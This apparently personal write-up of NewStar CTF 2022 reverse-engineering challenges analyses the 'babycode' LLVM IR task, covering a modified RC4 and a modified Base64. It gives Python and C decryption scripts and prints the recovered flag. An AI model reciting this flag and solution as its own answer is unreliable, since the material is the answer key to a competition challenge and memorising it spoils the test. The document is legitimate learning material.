input[9] = ((input[9] + 2) ^ 2 + 1 - 3 - 2 - 20 + 1) & 0xff

input[28] = ((input[28] ^ 28-1) ^ 28-3-1 + 1)

input[15] = (((input[15]-(53-177^165)) ^ 3 + 2) ^ 3)&0xff

input[16] = (((input[16]-3-2) + 3) ^ 227 -2)&0xff

input[8] = (((input[8]-(53+53)^43)  + 3-3-1) ^ 43)&0xff

input[1] = ((input[1]) ^ 1-178)&0xff

input[13] = ((input[1]) ^ 2) ^ 3 ^ 1

input[24] = (((input[24]) + 1) ^ 1) ^ 3

input[12] = ((input[12])-1-3 + 4) ^ 3

input[27] = ((input[27]-57-1-2) ^ 1 -3-1+ 3)

print(bytes(input))

# for i in range(len(input)):

#     print(chr(input[i] & 0xff), end='')

数据一直不对，不断排查后，猜测是位处理的问题，程序中的字符是无符号整型：

u_int8_t 处理后【写了个c脚本还是错误！！！！】

魔幻的问题！！再试一次！！！【还是不可以】

【不知道哪里出了问题，等WP吧！！！】

babycode (middle)

0x01 llvm 中间代码 .ll 了解

语言参考手册 — LLVM 16.0.0git 文档

(175条消息) LLVM IR(一)——如何使用LLVM编译执行代码_七妹要奈斯的博客-CSDN博客_llvm 生成ir

LLVM IR入门指南(1)——LLVM架构简介 - 知乎 (zhihu.com)

LLVM编译流程——全详解（快来看史上最细解析！！） | 码农家园 (codenong.com)

这里尝试将 .ll 转化为 .out 可执行文件。

Ubuntu 环境安装：

sudo apt-get install llvm

sudo apt-get install clang

# 安装失败

kali clang 环境：【环境自带】

将C文件编译为LLVM bitcode 文件

clang -o3  -emit-llvm hello.c -c -o hello.bc

由于.bc 是bitcode的二进制格式，.ll 文件 llvm bitcode 的可读文本

clang -o3  -emit-llvm hello.c -S -o hello.ll

llvm-dis 工具反汇编llvm bitcode 文件， 可以将bc文件转为.ll文件

llvm-dis hello.bc

用 llvm-as 工具通过汇编文件（.ll 文件）得到字节码文件（.bc 文件）

llvm-as hello.ll hello.bc

.bc编译成.o

第一种方法：用clang直接将其编译为可执行文件

clang a.o.bc -o struct

第二种方法：用llc先将bc编译为汇编，再用本地的gcc将其编译为可执行文件。

	llc a.o.bc -o hello.s

	gcc hello.s -o hello

编译生成可执行文件

clang hello.c -o hello

或者

clang -emit-llvm -c hello.c

.bc到.s编译指令

clang -S -fobjc-arc struct.bc -o struct.s

使用如下命令转换：

llvm-as task.ll task.bc

显然出题人，修改了！【避免这个解题思路】--->【当时做题的错误判断】

还是得分析.ll llvm 中间文件

【其实这里改为：

llvm-as task.ll -o task.bc

就可以很快将将ll中间文件转化为可执行文件！！！，0x05 就是这种思路

】

【但当时本着学习的态度，没深究就直接学习llvm .ll 中间代码去了,也比较曲折】

0x02 分析 .ll 中间文件算法流程

@ - 全局变量

% - 局部变量

alloca - 在当前执行的函数的堆栈帧中分配内存，当该函数返回到其调用者时，将自动释放内存

i32 - 32位4字节的整数

align - 对齐

load - 读出，store写入

icmp - 两个整数值比较，返回布尔值

br - 选择分支，根据条件来转向label，不根据条件跳转的话类型goto

label - 代码标签

call - 调用函数

(175条消息) （LLVM）中间语言（IR）基本语法简介_wy7980的博客-CSDN博客_ir中间语言

(176条消息) LLVM IR / LLVM指令集入门_Canliture的博客-CSDN博客_llvm指令集

Rc4 加密的分析：

  %22 = getelementptr inbounds [9 x i8], [9 x i8]* %3, i64 0, i64 0

  %23 = load i32, i32* %4, align 4

  call void @Rc4_Init(i8* %22, i32 %23)    // 传入密钥即密钥长度

  %24 = getelementptr inbounds [42 x i8], [42 x i8]* %2, i64 0, i64 0

  call void @Rc4_Encrypt(i8* %24, i32 16)

 知道 rc4 密钥key="llvmbitc"

# 同时调用了两次rc4 加密，

# 中间有一段xor 加密     // input[pos+16]^=input[pos]

# 如下

rc4_enc(input,16)

for pos in range(16)

	input[pos+16]^=input[pos]

rc4_enc(input[16],16)

魔改 Base64 分析：

  %22 = getelementptr inbounds i8, i8* %19, i64 %21    // 取出当前处理字符

  %23 = load i8, i8* %22, align 1

  %24 = zext i8 %23 to i32                                               // 类型强制转化

  %25 = ashr i32 %24, 2                                                   // 算数右移两位   input[i]>>2

  %26 = add nsw i32 %25, 59                                          //    input[i]+59

  %27 = trunc i32 %26 to i8                                             //    强制转化  相当于 &0xff

  %28 = load i8*, i8** %6, align 8

  %29 = load i32, i32* %9, align 4

  %30 = sext i32 %29 to i64

  %31 = getelementptr inbounds i8, i8* %28, i64 %30     // 存储base64 编码串

  store i8 %27, i8* %31, align 1

  %32 = load i8*, i8** %4, align 8

  %33 = load i32, i32* %7, align 4

  %34 = sext i32 %33 to i64

  %35 = getelementptr inbounds i8, i8* %32, i64 %34

  %36 = load i8, i8* %35, align 1

  %37 = zext i8 %36 to i32

  %38 = and i32 %37, 3                                                     // 获取第一个字符 低两位

  %39 = shl i32 %38, 4                                                      // 左移四位

  # 这里的编码思路就是：

  # 每三个字符，24位，切分成4断，每段6位。

  # 将6位对应的值 (value+ 59)&0xff 则是编码后的值。

0x03 深入分析 llvm中间代码算法流程

对上面流程实现解密！

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw'

for i in range(len(enc)):

    print((ord(enc[i])),end=',')

print()

for i in range(len(enc)):

    print(str(bin((ord(enc[i])-59)&0xff)[2:].zfill(6)), end='')

print()

enc_ = '0110010110001111111001011100000111000100001011001001110100100011011110001111110111011001101011111001010001011100000100010001111100100101111101111100110110011111011110000100111110010111111110000110000101001110010111111111111101100111101011101100000010001111'

print()

for i in range(0, len(enc_), 8):

    print(hex(int(enc_[i:i + 8], 2)), end=',')

chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f, 0x25, 0xf7,

           0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

chipher1=[0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]

chipher2=[0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

print()

# rc4 解密

key=b'llvmbitc\00'

# key=b'<---  NewStarCTF2022  --->\x00'

cipher_text2 = bytes(chipher2)

print(cipher_text2)

# 两次rc4

cipher = ARC4.new(key)

decrypt_text2 = cipher.decrypt(cipher_text2)

# 中间1次xor

decrypt_text2=list(decrypt_text2)

for i in range(0,len(decrypt_text2)):

    decrypt_text2[i]^=chipher[i]

print(decrypt_text2)

cipher_text1= bytes(chipher1)

print(cipher_text1)

# cipher = ARC4.new(key)

decrypt_text1 = cipher.decrypt(cipher_text1)

print(list(decrypt_text1),decrypt_text2)

解密发现得不出flag!!!

排查之后，发现应该是rc4 也被魔改了！

RC4加密算法原理简单理解 - 沉默的赌徒 - 博客园 (cnblogs.com)

 # 初始化

 @Rc4_Init(key,len)  # 分析发现，无魔改

key=b'llvmbitc\x00'

 for i in range(256):

 	s[i]=i

 	t[i]=key[i%len]

 j = 0;

 for i in range(256):

 	j = (j + S[i] + T[i]) mod 256;

    swap(S[i] , S[j]);

 # 加密

@Rc4_Encrypt(input,len)

for i in range(len):

	i = (i + 1) mod 256;

    j = (j + S[i]) mod 256;

    swap(S[i] , S[j]);

    //t = (S[i] + S[j]) mod 256;

    t=S[(S[i] + S[j]) mod 256]

    k=t^0x89     //   魔改位置, 多xor 89

    //可以直接在这里进行加密，当然也可以将密钥流保存在数组中，最后进行异或就ok　　

    input[]=input[i]^k； //进行加密

rc4 就是加了一个 xor 89 的操作

0x04 解密分析

现在梳理一下加密流程：

rc4_enc(input,16) xor 89

for pos in range(16)

	input[pos+16]^=input[pos]

rc4_enc(input[16],16) xor 89

enc=b64encode(input[],32)

比较密文

chipher = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f,

           0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

chipher1 = [0x65, 0x8f, 0xe5, 0xc1, 0xc4, 0x2c, 0x9d, 0x23, 0x78, 0xfd, 0xd9, 0xaf, 0x94, 0x5c, 0x11, 0x1f]

chipher2 = [0x25, 0xf7, 0xcd, 0x9f, 0x78, 0x4f, 0x97, 0xf8, 0x61, 0x4e, 0x5f, 0xff, 0x67, 0xae, 0xc0, 0x8f]

for i in range(len(chipher)):

    chipher[i] ^= 89

    if i > 15:

        chipher[i] = chipher[i]^chipher[i - 16]^89

# rc4 解密

key = b'llvmbitc\x00'

cipher_text = bytes(chipher)

# 两次rc4  可以合并

cipher = ARC4.new(key)

decrypt_text = cipher.decrypt(cipher_text)

print()

print(decrypt_text)

print(list(decrypt_text))

但解密发现还是不对，猜测可能原因是Rc4 前后两次加密，共用一次初始化的S盒，但第二次加密下标从0开始，且使用第一次Rc4加密后的S盒，这里显然是耦合的，显然只能写脚本解密，py调用模板肯定用不了！

写了个 c脚本，也无用！！！直接蒙蔽，，，

#include<stdio.h>

/*

RC4初始化函数

*/

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)

{

	int i = 0, j = 0;

	char k[256] = { 0 };

	unsigned char tmp = 0;

	for (i = 0; i < 256; i++) {

		s[i] = i;

		k[i] = key[i % Len_k];

	}

	for (i = 0; i < 256; i++) {

		j = (j + s[i] + k[i]) % 256;

		tmp = s[i];

		s[i] = s[j];

		s[j] = tmp;

	}

}

/*

RC4加解密函数

unsigned char* Data     加解密的数据

unsigned long Len_D     加解密数据的长度

unsigned char* key      密钥

unsigned long Len_k     密钥长度

*/

void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密

{

	unsigned char s[256];

	rc4_init(s, key, Len_k);

	int i = 0, j = 0, t = 0;

	unsigned long k = 0;

	unsigned char tmp;

	for (k = 0; k < Len_D/2; k++) {

		i = (i + 1) % 256;

		j = (j + s[i]) % 256;

		tmp = s[i];

		s[i] = s[j];

		s[j] = tmp;

		t = (s[i] + s[j]) % 256;

		Data[k] = Data[k] ^ s[t]^89;

		printf("0x%x,",s[t]^89);

	}

	printf("\n");

	i=0,j=0,t=0;

	for (k = 0; k < Len_D/2; k++) {

		i = (i + 1) % 256;

		j = (j + s[i]) % 256;

		tmp = s[i];

		s[i] = s[j];

		s[j] = tmp;

		t = (s[i] + s[j]) % 256;

		Data[k+16] = Data[k+16] ^ s[t]^89;

		printf("0x%x,",s[t]^89);

	}

		printf("\n");

}

int main()

{

	//字符串密钥

//	unsigned char key[] = "zstuctf";

    unsigned char key[] ="llvmbitc";

	unsigned long key_len = sizeof(key) -1 ;

//	//数组密钥

//	unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};

//	unsigned long key_len = sizeof(key);

	//加解密数据

//	unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,

//		0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,

//		0x77, 0x9A, 0x12, 0x99 };

	unsigned char data[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f};		

	unsigned char data1[]={0x65,0x8f,0xe5,0xc1,0xc4,0x2c,0x9d,0x23,0x78,0xfd,0xd9,0xaf,0x94,0x5c,0x11,0x1f,0x25,0xf7,0xcd,0x9f,0x78,0x4f,0x97,0xf8,0x61,0x4e,0x5f,0xff,0x67,0xae,0xc0,0x8f};		

	//加解密

	rc4_crypt(data, sizeof(data), key, key_len);

	for (int i = 0; i < sizeof(data); i++)

	{

		if (i>15)

		{

			printf("%c,", data[i]^data1[i-16]);

		}

		else

		{

			printf("%c,", data[i]);

		}

	}

	printf("\n");

	return 0;

}

哪分析错了呢！，先缓缓，后面再来做！！！

0x05 .ll 转化为 elf 再探索

后面又尝试以将中间代码转化为可执行文件的思路

└─# llvm-as task.ll task.bc

llvm-as: Too many positional arguments specified!

Can specify at most 1 positional arguments: See: llvm-as --help

┌──(root㉿xiaoxiao)-[~/ida_]

└─# llvm-as task.ll -o task.bc

┌──(root㉿xiaoxiao)-[~/ida_]

└─# clang task.bc -o task

# 原来，最开始是由于少了 -o 造成 .ll 到 .bc 转化失败！！！

导出task可执行程序后，ida分析elf 文件

发现，一直遗漏了一个细节！！！base64 编码是，第2、3是交换了位置的！

同时，多出2个字节的编码也有改动！【显然，对llvm 中间代码的分析还是有点马虎】【其他加密逻辑是分析清楚了的】

# encoding=utf-8

from Crypto.Cipher import ARC4

enc = 'TSz`kWKgbMHszXaj`@kLBmRrnTxsNtZsSOtZzqYikCw='

for i in range(len(enc)):

    print((ord(enc[i])), end=',')

print()

for i in range(0, len(enc)-4, 4):

    print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')

    print(str(bin((ord(enc[i + 2]) - 59) & 0xff)[2:].zfill(6)), end='')

    print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')

    print(str(bin((ord(enc[i + 3]) - 59) & 0xff)[2:].zfill(6)), end='')

# base64 最后 = 处理

for i in range(len(enc)-4,len(enc),4):

    print(str(bin((ord(enc[i]) - 59) & 0xff)[2:].zfill(6)), end='')

    print(str(bin((ord(enc[i + 1]) - 59) & 0xff)[2:].zfill(6)), end='')

    print(str(bin(((ord(enc[i + 2]) - 59)>>2) & 0xf)[2:].zfill(6)), end='')

    print('0'*6)

print()

enc_ = '011001111111011000100101110000010000011100101100100111001101010010111000111111100110011101101111100101110000000101010001000111010111110010110111110011111101011001111000010011011111111001111000011000111001010100011111111111011110110110101110110000001000001111000000'

print()

for i in range(0, len(enc_), 8):

    print(hex(int(enc_[i:i + 8], 2)), end=',')

chipher = [0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83,0xc0]

如下，再用C脚本解密得到：

#include<stdio.h>

/*

RC4初始化函数

*/

void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)

{

	int i = 0, j = 0;

	char k[256] = { 0 };

	unsigned char tmp = 0;

	for (i = 0; i < 256; i++) {

		s[i] = i;

		k[i] = key[i % Len_k];

	}

	for (i = 0; i < 256; i++) {

		j = (j + s[i] + k[i]) % 256;

		tmp = s[i];

		s[i] = s[j];

		s[j] = tmp;

	}

}

/*

RC4加解密函数

unsigned char* Data     加解密的数据

unsigned long Len_D     加解密数据的长度

unsigned char* key      密钥

unsigned long Len_k     密钥长度

*/

void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key, unsigned long Len_k) //加解密

{

	unsigned char s[256];

	rc4_init(s, key, Len_k);

	int i = 0, j = 0, t = 0;

	unsigned long k = 0;

	unsigned char tmp;

	for (k = 0; k < Len_D/2; k++) {

		i = (i + 1) % 256;

		j = (j + s[i]) % 256;

		tmp = s[i];

		s[i] = s[j];

		s[j] = tmp;

		t = (s[i] + s[j]) % 256;

		Data[k] = Data[k] ^ s[t]^89;

		printf("0x%x,",s[t]^89);

	}

	printf("\n");

	i=0,j=0,t=0;

	for (k = 0; k < Len_D/2; k++) {

		i = (i + 1) % 256;

		j = (j + s[i]) % 256;

		tmp = s[i];

		s[i] = s[j];

		s[j] = tmp;

		t = (s[i] + s[j]) % 256;

		Data[k+16] = Data[k+16] ^ s[t]^89;

		printf("0x%x,",s[t]^89);

	}

		printf("\n");

}

int main()

{

	//字符串密钥

//	unsigned char key[] = "zstuctf";

    unsigned char key[] ="llvmbitc";

	unsigned long key_len = sizeof(key) -1 ;

//	//数组密钥

//	unsigned char key[] = {0x6c,0x6c,0x76,0x6d,0x62,0x69,0x74,0x63,0x0};

//	unsigned long key_len = sizeof(key);

	//加解密数据

//	unsigned char data[] = { 0x7E, 0x6D, 0x55, 0xC0, 0x0C, 0xF0, 0xB4, 0xC7, 0xDC, 0x45,

//		0xCE, 0x15, 0xD1, 0xB5, 0x1E, 0x11, 0x14, 0xDF, 0x6E, 0x95,

//		0x77, 0x9A, 0x12, 0x99 };

	unsigned char data[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};

	unsigned char data1[]={0x67,0xf6,0x25,0xc1,0x7,0x2c,0x9c,0xd4,0xb8,0xfe,0x67,0x6f,0x97,0x1,0x51,0x1d,0x7c,0xb7,0xcf,0xd6,0x78,0x4d,0xfe,0x78,0x63,0x95,0x1f,0xfd,0xed,0xae,0xc0,0x83};

	//加解密

	rc4_crypt(data, sizeof(data), key, key_len);

	for (int i = 0; i < sizeof(data); i++)

	{

		if (i>15)

		{

			printf("%c", data[i]^data1[i-16]);

		}

		else

		{

			printf("%c", data[i]);

		}

	}

	printf("\n");

	return 0;

}

flag{Hacking_for_fun@reverser$!q

【这里最后一字节，是'q'不是'}'的原因在于，base64 编码时，有个&0xf的操作，导致信息丢失，但由于只有一位也就不爆破了】

得到flag:

flag{Hacking_for_fun@reverser$!}

【注：这题学到了很多东西，对.ll中间代码语法摸了个小透，但由于base64 编码的小细节没注意到，导致做题时还是很曲折的，最后转化为可执行文件进行逆向才成功破案】

结语

这次 NewStar CTF 2022 公开赛，体验很好。我回顾了很多Re方面的知识点，也学习到了一些新的东西。从Week2 开始参赛，直到 Week5 结束，主攻逆向题目，做了少量Web题。Re 题除了Week5 的 Virtual Self 没做出来，其他全部解出，这是十分鼓舞人心的，当然也算是一个不圆满的小遗憾了吧！【没能Ak Week2-Week5 的所有Re】。

最后对自己有一点小小(笑笑)的展望:希望接下来，能在中等难度比赛中有所突破【相对应的，也就是在逆向水平方面有所提高】！